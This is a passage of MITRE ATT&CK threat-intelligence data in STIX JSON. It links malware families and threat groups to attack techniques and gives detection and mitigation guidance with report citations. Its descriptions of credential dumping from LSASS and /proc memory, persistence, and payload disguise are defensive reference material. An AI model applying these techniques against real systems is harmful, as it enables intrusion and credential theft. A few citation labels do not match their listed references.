"relationship--f16c71ae-99b1-4aff-b276-13eb7c3ad889", "type": "relationship", "created": "2021-02-10T19:12:08.105Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}], "modified": "2021-02-10T19:12:08.105Z", "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to use a rootkit on a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ", "relationship_type": "uses", "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f16f0b46-3363-48bd-9a13-c8751fdedf1c", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "APT15 Intezer June 2018", "url": "https://web.archive.org/web/20180615122133/https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/", "description": "Rosenberg, J. (2018, June 14). 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Retrieved September 21, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[MirageFox](https://attack.mitre.org/software/S0280) has a function for decrypting data containing C2 configuration information.(Citation: APT15 Intezer June 2018)", "modified": "2022-07-22T18:52:32.775Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f16f493f-d002-4013-80e6-c6ec96a7b913", "created": "2022-06-09T15:15:46.142Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Ember Bear](https://attack.mitre.org/groups/G1003) has attempted to lure victims into executing malicious files.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T15:15:46.142Z", "relationship_type": "uses", "source_ref": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f16f6118-810f-4e08-9178-001156c95b53", "created": "2022-06-09T14:59:22.346Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET DazzleSpy Jan 2022", "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/", "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[MacMa](https://attack.mitre.org/software/S1016) can search for a specific file on the compromised computer and can enumerate files in Desktop, Downloads, and Documents folders.(Citation: ESET DazzleSpy Jan 2022)", "modified": "2022-06-09T14:59:22.346Z", "relationship_type": "uses", "source_ref": "malware--bdee9574-7479-4073-a7dc-e86d8acd073a", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f16f6933-0cff-4c88-a2bd-077e2de843fc", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor executed commands and arguments to detect token manipulation by auditing command-line activity. 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Retrieved April 21, 2017.", "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f176cbd3-81e9-4e7e-b5e2-d6a44c7bf789", "created": "2022-08-09T16:53:35.445Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ZScaler Squirrelwaffle Sep 2021", "url": "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", "description": "Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}, {"source_name": "Netskope Squirrelwaffle Oct 2021", "url": "https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot", "description": "Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Squirrelwaffle](https://attack.mitre.org/software/S1030) has been executed using `rundll32.exe`.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)", "modified": "2022-08-09T16:53:35.445Z", "relationship_type": "uses", "source_ref": "malware--3c18ad16-9eaf-4649-984e-68551bff0d47", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f1790353-d9cd-4c93-a1a4-625a520cdd80", "type": "relationship", "created": "2022-03-30T14:26:51.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.873Z", "description": "There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Github W32Time Oct 2017", "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.", "url": "https://github.com/scottlundgren/w32time"}]}, {"type": "relationship", "id": "relationship--f1793a83-f51c-48d4-b11e-ee9c93a28e71", "created": "2023-07-20T15:30:58.855Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-20T15:30:58.855Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d", "target_ref": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f1796f08-a663-4189-8bdc-a89ecc13df57", "type": "relationship", "created": "2021-12-06T23:14:44.826Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "modified": "2021-12-06T23:14:44.826Z", "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669) can set the AutoRun Registry key with a PowerShell command.(Citation: MalwareBytes LazyScripter Feb 2021)", "relationship_type": "uses", "source_ref": "malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f187aa90-df6c-485c-bc01-dec83aca9625", "type": "relationship", "created": "2021-10-14T18:59:38.980Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB GrimAgent July 2021", "url": "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer", "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021."}], "modified": "2021-10-14T18:59:38.980Z", "description": "[GrimAgent](https://attack.mitre.org/software/S0632) has sent data related to a compromise host over its C2 channel.(Citation: Group IB GrimAgent July 2021)", "relationship_type": "uses", "source_ref": "malware--c9b99d03-ff11-4a48-95f0-82660d582c25", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f18ac720-632d-4761-89b1-258a67710a1b", "type": "relationship", "created": "2020-01-24T19:46:28.013Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T19:46:28.013Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe", "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f18c2611-d0ca-457d-a92a-55b43561faaf", "created": "2022-04-18T19:00:04.328Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Medium Detecting Attempts to Steal Passwords from Memory", "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea", "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n##### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path <code>/proc/&lt;pid&gt;/maps</code>, where the <code>&lt;pid&gt;</code> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", "modified": "2022-04-19T23:45:21.159Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f19234f6-5b59-4229-aae1-70df380a076a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Dragonfly", "description": "Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", "url": "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}, {"source_name": "Gigamon Berserk Bear October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "description": "Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}], "modified": "2021-12-08T18:18:34.006Z", "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about the OS and computer name.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)", "relationship_type": "uses", "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f1952dea-f9d6-421b-947e-502796e2c883", "type": "relationship", "created": "2020-05-06T15:26:38.970Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro BlackTech June 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."}, {"source_name": "ESET PLEAD Malware July 2018", "url": "https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/", "description": "Cherepanov, A.. (2018, July 9). Certificates stolen from Taiwanese tech\u2011companies misused in Plead malware campaign. Retrieved May 6, 2020."}], "modified": "2022-03-25T15:47:14.023Z", "description": "[PLEAD](https://attack.mitre.org/software/S0435) can harvest saved credentials from browsers such as Google Chrome, Microsoft Internet Explorer, and Mozilla Firefox.(Citation: TrendMicro BlackTech June 2017)(Citation: ESET PLEAD Malware July 2018)", "relationship_type": "uses", "source_ref": "malware--b57f419e-8b12-49d3-886b-145383725dcd", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f1959153-4487-4604-a054-f2d7918c2067", "created": "2024-03-01T16:58:02.316Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-01T16:58:02.316Z", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f1992fc5-5013-4fad-9a43-74a7f2b9e3ec", "type": "relationship", "created": "2020-05-15T16:55:19.294Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."}], "modified": "2020-06-23T00:42:36.436Z", "description": "[Rising Sun](https://attack.mitre.org/software/S0448) can modify file attributes to hide files.(Citation: McAfee Sharpshooter December 2018)", "relationship_type": "uses", "source_ref": "malware--56e6b6c2-e573-4969-8bab-783205cebbbf", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f19f6015-ffbe-4998-ad82-403fcfc2e649", "type": "relationship", "created": "2021-09-13T21:42:19.730Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "20 macOS Common Tools and Techniques", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}], "modified": "2021-09-13T21:42:19.730Z", "description": "[Bundlore](https://attack.mitre.org/software/S0482) changes the permissions of a payload using the command <code>chmod -R 755</code>.(Citation: 20 macOS Common Tools and Techniques)", "relationship_type": "uses", "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f1a27232-5963-4041-9249-35aebd2f0aa0", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor for contextual data about an account, which may include a username, user ID, environmental data that may attempt to hide artifacts associated with their behaviors to evade detection.", "source_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f1a70ff1-a4e7-437e-96fd-8017feea0b5a", "type": "relationship", "created": "2020-09-24T14:20:39.252Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2020-10-09T16:08:00.446Z", "description": "[FatDuke](https://attack.mitre.org/software/S0512) has been packed with junk code and strings.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--54a01db0-9fab-4d5f-8209-53cef8425f4a", "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f1a9d2b9-f5ec-4119-b3b5-8b46085c01b5", "type": "relationship", "created": "2020-04-28T13:48:00.513Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT41 March 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", "description": "Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."}], "modified": "2020-04-28T13:48:00.513Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) used VMProtected binaries in multiple intrusions.(Citation: FireEye APT41 March 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f1aa297a-1b61-4bfc-9e4b-18b4b82b4d8c", "created": "2023-03-31T19:27:45.587Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cybereason Royal December 2022", "description": "Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.", "url": "https://www.cybereason.com/blog/royal-ransomware-analysis"}, {"source_name": "Kroll Royal Deep Dive February 2023", "description": "Iacono, L. and Green, S. (2023, February 13). Royal Ransomware Deep Dive. Retrieved March 30, 2023.", "url": "https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive"}, {"source_name": "Trend Micro Royal Linux ESXi February 2023", "description": "Morales, N. et al. (2023, February 20). Royal Ransomware Expands Attacks by Targeting Linux ESXi Servers. Retrieved March 30, 2023.", "url": "https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-31T20:16:33.364Z", "description": "[Royal](https://attack.mitre.org/software/S1073) can identify specific files and directories to exclude from the encryption process.(Citation: Cybereason Royal December 2022)(Citation: Kroll Royal Deep Dive February 2023)(Citation: Trend Micro Royal Linux ESXi February 2023)", "relationship_type": "uses", "source_ref": "malware--802a874d-7463-4f2a-99e3-6a1f5a919a21", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f1ab6a18-2624-4d35-b9e2-3f3a4288bcac", "type": "relationship", "created": "2022-03-26T03:47:59.073Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mythc Documentation", "url": "https://docs.mythic-c2.net/", "description": "Thomas, C. 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Retrieved August 4, 2021."}], "modified": "2021-08-04T13:57:21.802Z", "description": "[BoomBox](https://attack.mitre.org/software/S0635) can upload data to dedicated per-victim folders in Dropbox.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--c26f1c05-b861-4970-94dc-2f7f921a3074", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f1caf188-3c6b-4b5c-82a5-38a37149f1b1", "type": "relationship", "created": "2022-01-25T15:10:25.628Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}], "modified": "2022-01-25T15:10:25.628Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has acquired Amazon S3 buckets to use in C2.(Citation: Check Point APT35 CharmPower January 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f1d0e2ed-3d68-4606-8a1c-3a78f9b55afe", "type": "relationship", "created": "2020-10-19T19:49:24.279Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco IOS Software Integrity Assurance - TACACS", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#39", "description": "Cisco. (n.d.). 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Retrieved January 29, 2021."}], "modified": "2021-08-30T23:07:30.377Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has lured targets to click on malicious files to gain execution in the target environment.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f1f879a7-cd1e-4865-bc6a-9b42d36df62b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", "description": "Symantec Security Response. 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(2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", "source_name": "Symantec Buckeye"}], "modified": "2019-04-29T18:01:20.637Z", "description": "(Citation: Symantec Buckeye)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f2502637-0d4a-4b94-928d-1f140f2d0ba1", "type": "relationship", "created": "2020-07-27T15:21:26.253Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Promethium June 2020", "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}], "modified": "2020-07-30T14:04:59.198Z", "description": "[StrongPity](https://attack.mitre.org/software/S0491) has been bundled with legitimate software installation files for disguise.(Citation: Talos Promethium June 2020)", "relationship_type": "uses", "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f250ea40-1899-4bc4-b7f9-7a795ec32f23", "type": "relationship", "created": "2022-02-02T15:25:50.369Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky WIRTE November 2021", "url": "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044", "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022."}], "modified": "2022-02-02T15:25:50.369Z", "description": "[LitePower](https://attack.mitre.org/software/S0680) can create a scheduled task to enable persistence mechanisms.(Citation: Kaspersky WIRTE November 2021)", "relationship_type": "uses", "source_ref": "malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd", "target_ref": 